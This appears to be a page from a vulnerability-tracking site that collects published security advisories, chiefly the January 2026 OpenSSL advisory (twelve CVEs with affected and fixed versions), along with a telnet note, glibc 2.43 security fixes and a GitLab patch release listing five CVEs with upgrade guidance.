2025-08-11: Atredis follows up with additional questions on remediation and disclosure
2025-08-26: EA Games provides clarifying information on disclosure and patching
2025-12-03: Contacted Legionnaire from https://legi.cc/genpatcher/ to start community disclosure over Discord

Related vulnerabilities: GCVE-1-2026-0010 GCVE-1-2026-0011 GCVE-1-2026-0009

OpenSSL Security Advisory [27th January 2026]

2026-01-28T06:31:10 by Alexandre Dulaunoy

JSON

OpenSSL Security Advisory [27th January 2026]

Improper validation of PBMAC1 parameters in PKCS#12 MAC verification (CVE-2025-11187)

Severity: Moderate

Issue summary: PBMAC1 parameters in PKCS#12 files are missing validation which can trigger a stack-based buffer overflow, invalid pointer or NULL pointer dereference during MAC verification.

Impact summary: The stack buffer overflow or NULL pointer dereference may cause a crash leading to Denial of Service for an application that parses untrusted PKCS#12 files. The buffer overflow may also potentially enable code execution depending on platform mitigations.

When verifying a PKCS#12 file that uses PBMAC1 for the MAC, the PBKDF2 salt and keylength parameters from the file are used without validation. If the value of keylength exceeds the size of the fixed stack buffer used for the derived key (64 bytes), the key derivation will overflow the buffer. The overflow length is attacker-controlled. Also, if the salt parameter is not an OCTET STRING type this can lead to invalid or NULL pointer dereference.

Exploiting this issue requires a user or application to process a maliciously crafted PKCS#12 file. It is uncommon to accept untrusted PKCS#12 files in applications as they are usually used to store private keys which are trusted by definition. For this reason the issue was assessed as Moderate severity.

The FIPS modules in 3.6, 3.5 and 3.4 are not affected by this issue, as PKCS#12 processing is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5 and 3.4 are vulnerable to this issue.

OpenSSL 3.3, 3.0, 1.1.1 and 1.0.2 are not affected by this issue as they do not support PBMAC1 in PKCS#12.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

This issue was reported on 11th September 2025 by Stanislav Fort (Aisle Research) with a follow up report on 21st November 2025 by Stanislav Fort and Petr Šimeček (Aisle Research). It was also independently reported on 14th October 2025 by Hamza (Metadust). The fix was developed by Tomas Mraz.

Stack buffer overflow in CMS AuthEnvelopedData parsing (CVE-2025-15467)

Severity: High

Issue summary: Parsing CMS AuthEnvelopedData message with maliciously crafted AEAD parameters can trigger a stack buffer overflow.

Impact summary: A stack buffer overflow may lead to a crash, causing Denial of Service, or potentially remote code execution.

When parsing CMS AuthEnvelopedData structures that use AEAD ciphers such as AES-GCM, the IV (Initialization Vector) encoded in the ASN.1 parameters is copied into a fixed-size stack buffer without verifying that its length fits the destination. An attacker can supply a crafted CMS message with an oversized IV, causing a stack-based out-of-bounds write before any authentication or tag verification occurs.

Applications and services that parse untrusted CMS or PKCS#7 content using AEAD ciphers (e.g., S/MIME AuthEnvelopedData with AES-GCM) are vulnerable. Because the overflow occurs prior to authentication, no valid key material is required to trigger it. While exploitability to remote code execution depends on platform and toolchain mitigations, the stack-based write primitive represents a severe risk.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3 and 3.0 are vulnerable to this issue.

OpenSSL 1.1.1 and 1.0.2 are not affected by this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.

This issue was reported on 14th December 2025 by Stanislav Fort (Aisle Research). The fix was developed by Igor Ustinov.

NULL dereference in SSL_CIPHER_find() function on unknown cipher ID (CVE-2025-15468)

Severity: Low

Issue summary: If an application using the SSL_CIPHER_find() function in a QUIC protocol client or server receives an unknown cipher suite from the peer, a NULL dereference occurs.

Impact summary: A NULL pointer dereference leads to abnormal termination of the running process causing Denial of Service.

Some applications call SSL_CIPHER_find() from the client_hello_cb callback on the cipher ID received from the peer. If this is done with an SSL object implementing the QUIC protocol, NULL pointer dereference will happen if the examined cipher ID is unknown or unsupported.

As it is not very common to call this function in applications using the QUIC protocol and the worst outcome is Denial of Service, the issue was assessed as Low severity.

The vulnerable code was introduced in the 3.2 version with the addition of the QUIC protocol support.

The FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue, as the QUIC implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue.

OpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

This issue was reported on 13th December 2025 by Stanislav Fort (Aisle Research). The fix was developed by Stanislav Fort (Aisle Research).

"openssl dgst" one-shot codepath silently truncates inputs >16MB (CVE-2025-15469)

Severity: Low

Issue summary: The "openssl dgst" command-line tool silently truncates input data to 16MB when using one-shot signing algorithms and reports success instead of an error.

Impact summary: A user signing or verifying files larger than 16MB with one-shot algorithms (such as Ed25519, Ed448, or ML-DSA) may believe the entire file is authenticated while trailing data beyond 16MB remains unauthenticated.

When the "openssl dgst" command is used with algorithms that only support one-shot signing (Ed25519, Ed448, ML-DSA-44, ML-DSA-65, ML-DSA-87), the input is buffered with a 16MB limit. If the input exceeds this limit, the tool silently truncates to the first 16MB and continues without signaling an error, contrary to what the documentation states. This creates an integrity gap where trailing bytes can be modified without detection if both signing and verification are performed using the same affected codepath.

The issue affects only the command-line tool behavior. Verifiers that process the full message using library APIs will reject the signature, so the risk primarily affects workflows that both sign and verify with the affected "openssl dgst" command. Streaming digest algorithms for "openssl dgst" and library users are unaffected.

The FIPS modules in 3.5 and 3.6 are not affected by this issue, as the command-line tools are outside the OpenSSL FIPS module boundary.

OpenSSL 3.5 and 3.6 are vulnerable to this issue.

OpenSSL 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are not affected by this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

This issue was reported on 13th December 2025 by Stanislav Fort (Aisle Research). The fix was developed by Viktor Dukhovni.

TLS 1.3 CompressedCertificate excessive memory allocation (CVE-2025-66199)

Severity: Low

Issue summary: A TLS 1.3 connection using certificate compression can be forced to allocate a large buffer before decompression without checking against the configured certificate size limit.

Impact summary: An attacker can cause per-connection memory allocations of up to approximately 22 MiB and extra CPU work, potentially leading to service degradation or resource exhaustion (Denial of Service).

In affected configurations, the peer-supplied uncompressed certificate length from a CompressedCertificate message is used to grow a heap buffer prior to decompression. This length is not bounded by the max_cert_list setting, which otherwise constrains certificate message sizes. An attacker can exploit this to cause large per-connection allocations followed by handshake failure. No memory corruption or information disclosure occurs.

This issue only affects builds where TLS 1.3 certificate compression is compiled in (i.e., not OPENSSL_NO_COMP_ALG) and at least one compression algorithm (brotli, zlib, or zstd) is available, and where the compression extension is negotiated. Both clients receiving a server CompressedCertificate and servers in mutual TLS scenarios receiving a client CompressedCertificate are affected. Servers that do not request client certificates are not vulnerable to client-initiated attacks.

Users can mitigate this issue by setting SSL_OP_NO_RX_CERTIFICATE_COMPRESSION to disable receiving compressed certificates.

The FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue, as the TLS implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue.

OpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

This issue was reported on 8th November 2025 by Tomas Dulka (Aisle Research) and Stanislav Fort (Aisle Research). The fix was developed by Tomas Dulka (Aisle Research) and Stanislav Fort (Aisle Research).

Heap out-of-bounds write in BIO_f_linebuffer on short writes (CVE-2025-68160)

Severity: Low

Issue summary: Writing large, newline-free data into a BIO chain using the line-buffering filter where the next BIO performs short writes can trigger a heap-based out-of-bounds write.

Impact summary: This out-of-bounds write can cause memory corruption which typically results in a crash, leading to Denial of Service for an application.

The line-buffering BIO filter (BIO_f_linebuffer) is not used by default in TLS/SSL data paths. In OpenSSL command-line applications, it is typically only pushed onto stdout/stderr on VMS systems. Third-party applications that explicitly use this filter with a BIO chain that can short-write and that write large, newline-free data influenced by an attacker would be affected. However, the circumstances where this could happen are unlikely to be under attacker control, and BIO_f_linebuffer is unlikely to be handling non-curated data controlled by an attacker. For that reason the issue was assessed as Low severity.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the BIO implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.

OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1ze (premium support customers only).

OpenSSL 1.0.2 users should upgrade to OpenSSL 1.0.2zn (premium support customers only).

This issue was reported on 1st December 2025 by Petr Simecek (Aisle Research) and Stanislav Fort (Aisle Research). The fix was developed by Stanislav Fort (Aisle Research) and Neil Horman.

Unauthenticated/unencrypted trailing bytes with low-level OCB function calls (CVE-2025-69418)

Severity: Low

Issue summary: When using the low-level OCB API directly with AES-NI or other hardware-accelerated code paths, inputs whose length is not a multiple of 16 bytes can leave the final partial block unencrypted and unauthenticated.

Impact summary: The trailing 1-15 bytes of a message may be exposed in cleartext on encryption and are not covered by the authentication tag, allowing an attacker to read or tamper with those bytes without detection.

The low-level OCB encrypt and decrypt routines in the hardware-accelerated stream path process full 16-byte blocks but do not advance the input/output pointers. The subsequent tail-handling code then operates on the original base pointers, effectively reprocessing the beginning of the buffer while leaving the actual trailing bytes unprocessed. The authentication checksum also excludes the true tail bytes.

However, typical OpenSSL consumers using EVP are not affected because the higher-level EVP and provider OCB implementations split inputs so that full blocks and trailing partial blocks are processed in separate calls, avoiding the problematic code path. Additionally, TLS does not use OCB ciphersuites. The vulnerability only affects applications that call the low-level CRYPTO_ocb128_encrypt() or CRYPTO_ocb128_decrypt() functions directly with non-block-aligned lengths in a single call on hardware-accelerated builds. For these reasons the issue was assessed as Low severity.

The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as OCB mode is not a FIPS-approved algorithm.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.

OpenSSL 1.0.2 is not affected by this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.

OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1ze. (premium support customers only).

This issue was reported on 16th December 2025 by Stanislav Fort (Aisle Research). The fix was developed by Stanislav Fort (Aisle Research).

Out of bounds write in PKCS12_get_friendlyname() UTF-8 conversion (CVE-2025-69419)

Severity: Low

Issue summary: Calling PKCS12_get_friendlyname() function on a maliciously crafted PKCS#12 file with a BMPString (UTF-16BE) friendly name containing non-ASCII BMP code point can trigger a one byte write before the allocated buffer.

Impact summary: The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service.

The OPENSSL_uni2utf8() function performs a two-pass conversion of a PKCS#12 BMPString (UTF-16BE) to UTF-8. In the second pass, when emitting UTF-8 bytes, the helper function bmp_to_utf8() incorrectly forwards the remaining UTF-16 source byte count as the destination buffer capacity to UTF8_putc(). For BMP code points above U+07FF, UTF-8 requires three bytes, but the forwarded capacity can be just two bytes. UTF8_putc() then returns -1, and this negative value is added to the output length without validation, causing the length to become negative. The subsequent trailing NUL byte is then written at a negative offset, causing write outside of heap allocated buffer.

The vulnerability is reachable via the public PKCS12_get_friendlyname() API when parsing attacker-controlled PKCS#12 files. While PKCS12_parse() uses a different code path that avoids this issue, PKCS12_get_friendlyname() directly invokes the vulnerable function. Exploitation requires an attacker to provide a malicious PKCS#12 file to be parsed by the application and the attacker can just trigger a one zero byte write before the allocated buffer. For that reason the issue was assessed as Low severity according to our Security Policy.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.

OpenSSL 1.0.2 is not affected by this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.

OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1ze (premium support customers only).

This issue was reported on 16th December 2025 by Stanislav Fort (Aisle Research). The fix was developed by Norbert Pocs.

Missing ASN1_TYPE validation in TS_RESP_verify_response() function (CVE-2025-69420)

Severity: Low

Issue summary: A type confusion vulnerability exists in the TimeStamp Response verification code where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid or NULL pointer dereference when processing a malformed TimeStamp Response file.

Impact summary: An application calling TS_RESP_verify_response() with a malformed TimeStamp Response can be caused to dereference an invalid or NULL pointer when reading, resulting in a Denial of Service.

The functions ossl_ess_get_signing_cert() and ossl_ess_get_signing_cert_v2() access the signing cert attribute value without validating its type. When the type is not V_ASN1_SEQUENCE, this results in accessing invalid memory through the ASN1_TYPE union, causing a crash.

Exploiting this vulnerability requires an attacker to provide a malformed TimeStamp Response to an application that verifies timestamp responses. The TimeStamp protocol (RFC 3161) is not widely used and the impact of the exploit is just a Denial of Service. For these reasons the issue was assessed as Low severity.

The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the TimeStamp Response implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.

OpenSSL 1.0.2 is not affected by this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.

OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1ze. (premium support customers only).

This issue was reported on 16th December 2025 by Luigino Camastra (Aisle Research). The fix was developed by Bob Beck.

NULL Pointer Dereference in PKCS12_item_decrypt_d2i_ex function (CVE-2025-69421)

Severity: Low

Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer dereference in the PKCS12_item_decrypt_d2i_ex() function.

Impact summary: A NULL pointer dereference can trigger a crash which leads to Denial of Service for an application processing PKCS#12 files.

The PKCS12_item_decrypt_d2i_ex() function does not check whether the oct parameter is NULL before dereferencing it. When called from PKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can be NULL, causing a crash. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure.

Exploiting this issue requires an attacker to provide a malformed PKCS#12 file to an application that processes it. For that reason the issue was assessed as Low severity according to our Security Policy.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.

OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1ze (premium support customers only).

OpenSSL 1.0.2 users should upgrade to OpenSSL 1.0.2zn (premium support customers only).

This issue was reported on 21st December 2025 by Luigino Camastra (Aisle Research). The fix was developed by Luigino Camastra (Aisle Research).

Missing ASN1_TYPE validation in PKCS#12 parsing (CVE-2026-22795)

Severity: Low

Issue summary: An invalid or NULL pointer dereference can happen in an application processing a malformed PKCS#12 file.

Impact summary: An application processing a malformed PKCS#12 file can be caused to dereference an invalid or NULL pointer on memory read, resulting in a Denial of Service.

A type confusion vulnerability exists in PKCS#12 parsing code where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid pointer read.

The location is constrained to a 1-byte address space, meaning any attempted pointer manipulation can only target addresses between 0x00 and 0xFF. This range corresponds to the zero page, which is unmapped on most modern operating systems and will reliably result in a crash, leading only to a Denial of Service. Exploiting this issue also requires a user or application to process a maliciously crafted PKCS#12 file. It is uncommon to accept untrusted PKCS#12 files in applications as they are usually used to store private keys which are trusted by definition. For these reasons, the issue was assessed as Low severity.

The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS12 implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.

OpenSSL 1.0.2 is not affected by this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.

OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1ze. (premium support customers only).

This issue was reported on 8th January 2026 by Luigino Camastra (Aisle Research). The fix was developed by Bob Beck.

ASN1_TYPE Type Confusion in the PKCS7_digest_from_attributes() function (CVE-2026-22796)

Severity: Low

Issue summary: A type confusion vulnerability exists in the signature verification of signed PKCS#7 data where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid or NULL pointer dereference when processing malformed PKCS#7 data.

Impact summary: An application performing signature verification of PKCS#7 data or calling directly the PKCS7_digest_from_attributes() function can be caused to dereference an invalid or NULL pointer when reading, resulting in a Denial of Service.

The function PKCS7_digest_from_attributes() accesses the message digest attribute value without validating its type. When the type is not V_ASN1_OCTET_STRING, this results in accessing invalid memory through the ASN1_TYPE union, causing a crash.

Exploiting this vulnerability requires an attacker to provide a malformed signed PKCS#7 to an application that verifies it. The impact of the exploit is just a Denial of Service, the PKCS7 API is legacy and applications should be using the CMS API instead. For these reasons the issue was assessed as Low severity.

The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#7 parsing implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.1.

OpenSSL 3.5 users should upgrade to OpenSSL 3.5.5.

OpenSSL 3.4 users should upgrade to OpenSSL 3.4.4.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.6.

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.19.

OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1ze. (premium support customers only).

OpenSSL 1.0.2 users should upgrade to OpenSSL 1.0.2zn. (premium support customers only).

This issue was reported on 8th January 2026 by Luigino Camastra (Aisle Research). The fix was developed by Bob Beck.

General Advisory Notes

URL for this Security Advisory: https://openssl-library.org/news/secadv/20260127.txt

Note: the online version of the advisory may be updated with additional details over time.

Only currently supported releases have been analysed. OpenSSL 3.1 and 3.2 are out of support and have not been analysed.

For details of OpenSSL severity classifications please see: https://openssl-library.org/policies/general/security-policy/

https://openssl-library.org/news/secadv/20260127.txt

Vulnerabilities in multiple telnet implementation

2026-01-26T16:47:00 by Xavier Claude

JSON

A similar vulnerability was introduced three times on three different code base (AIX, Solaris and GNU) in three different decades (1993, 2004 and 2014).

Related vulnerabilities: CVE-1999-0113 CVE-2026-24061 CVE-2007-0882

The GNU C Library version 2.43 is now available

2026-01-25T19:26:08 by Alexandre Dulaunoy

JSON

Security related changes:

The following CVEs were fixed in this release, details of which can be found in the advisories directory of the release tarball:

GLIBC-SA-2026-0001: Integer overflow in memalign leads to heap corruption (CVE-2026-0861)

GLIBC-SA-2026-0002: getnetbyaddr and getnetbyaddr_r leak stack contents to DNS resovler (CVE-2026-0915)

GLIBC-SA-2026-0003: wordexp with WRDE_REUSE and WRDE_APPEND may return uninitialized memory (CVE-2025-15281)

For more details: https://lists.gnu.org/archive/html/info-gnu/2026-01/msg00005.html

Related vulnerabilities: CVE-2025-15281 CVE-2026-0861 CVE-2026-0915

GitLab Patch Release: 18.8.2, 18.7.2, 18.6.4 - 5 CVEs

2026-01-23T10:50:02 by Alexandre Dulaunoy

JSON

GitLab Patch Release: 18.8.2, 18.7.2, 18.6.4

Source: https://about.gitlab.com/releases/2026/01/21/patch-release-gitlab-18-8-2-released/

Learn more about GitLab Patch Release: 18.8.2, 18.7.2, 18.6.4 for GitLab Community Edition (CE) and Enterprise Edition (EE).

Today, we are releasing versions 18.8.2, 18.7.2, 18.6.4 for GitLab Community Edition (CE) and Enterprise Edition (EE).

These versions contain important bug and security fixes, and we strongly recommend that all self-managed GitLab installations be upgraded to one of these versions immediately. GitLab.com is already running the patched version. GitLab Dedicated customers do not need to take action.

GitLab releases fixes for vulnerabilities in patch releases. There are two types of patch releases: scheduled releases and ad-hoc critical patches for high-severity vulnerabilities. Scheduled releases are released twice a month on the second and fourth Wednesdays. For more information, please visit our releases handbook and security FAQ. You can see all of GitLab release blog posts here.

For security fixes, the issues detailing each vulnerability are made public on our issue tracker 30 days after the release in which they were patched.

We are committed to ensuring that all aspects of GitLab that are exposed to customers or that host customer data are held to the highest security standards. To maintain good security hygiene, it is highly recommended that all customers upgrade to the latest patch release for their supported version. You can read more best practices in securing your GitLab instance in our blog post.

Recommended Action

We strongly recommend that all installations running a version affected by the issues described below are upgraded to the latest version as soon as possible.

When no specific deployment type (omnibus, source code, helm chart, etc.) of a product is mentioned, it means all types are affected.

Security fixes

Table of security fixes

Title	Severity
Denial of Service issue in in Jira Connect integration impacts GitLab CE/EE	High
Incorrect Authorization issue in Releases API impacts GitLab CE/EE	High
Unchecked Return Value issue in authentication services impacts GitLab CE/EE	High
Infinite Loop issue in Wiki redirects impacts GitLab CE/EE	Medium
Denial of Service issue in API endpoint impacts GitLab CE/EE	Medium

CVE-2025-13927 - Denial of Service issue in Jira Connect integration impacts GitLab CE/EE

GitLab has remediated an issue that could have allowed an unauthenticated user to create a denial of service condition by sending crafted requests with malformed authentication data.

Impacted Versions: GitLab CE/EE: all versions from 11.9 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2
CVSS 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Thanks a92847865 for reporting this vulnerability through our HackerOne bug bounty program.

CVE-2025-13928 - Incorrect Authorization issue in Releases API impacts GitLab CE/EE

GitLab has remediated an issue that could have allowed an unauthenticated user to cause a denial of service condition by exploiting incorrect authorization validation in API endpoints.

Impacted Versions: GitLab CE/EE: all versions from 17.7 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2
CVSS 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Thanks a92847865 for reporting this vulnerability through our HackerOne bug bounty program.

CVE-2026-0723 - Unchecked Return Value issue in authentication services impacts GitLab CE/EE

GitLab has remediated an issue that could have allowed an individual with existing knowledge of a victim's credential ID to bypass two-factor authentication by submitting forged device responses.

Impacted Versions: GitLab CE/EE: all versions from 18.6 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2
CVSS 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)

Thanks ahacker1 for reporting this vulnerability through our HackerOne bug bounty program.

CVE-2025-13335 - Infinite Loop issue in Wiki redirects impacts GitLab CE/EE

GitLab has remediated an issue that under certain circumstances could have allowed an authenticated user to create a denial of service condition by configuring malformed Wiki documents that bypass cycle detection.

Impacted Versions: GitLab CE/EE: all versions from 17.1 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2
CVSS 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Thanks sim4n6 for reporting this vulnerability through our HackerOne bug bounty program.

CVE-2026-1102 - Denial of Service issue in API endpoint impacts GitLab CE/EE

GitLab has remediated an issue that could have allowed an unauthenticated user to create a denial of service condition by sending repeated malformed SSH authentication requests.

Impacted Versions: GitLab CE/EE: all versions from 12.3 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2
CVSS 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)

This vulnerability has been discovered internally by GitLab team member Thiago Figueiró.

Bug fixes

18.8.2

18.7.2

18.6.4

Important notes on upgrading

This patch includes database migrations that may impact your upgrade process.

Impact on your installation:

Single-node instances: This patch will cause downtime during the upgrade as migrations must complete before GitLab can start.
Multi-node instances: With proper zero-downtime upgrade procedures, this patch can be applied without downtime.

Post-deploy migrations

The following versions include post-deploy migrations that can run after the upgrade:

18.7.2

To learn more about the impact of upgrades on your installation, see:

Zero-downtime upgrades for multi-node deployments
Standard upgrades for single-node installations

Updating

To update GitLab, see the Update page. To update GitLab Runner, see the Updating the Runner page.

Receive Patch Notifications

To receive patch blog notifications delivered to your inbox, visit our contact us page. To receive release notifications via RSS, subscribe to our patch release RSS feed or our RSS feed for all releases.

displaying 1 - 10 bundles in total 119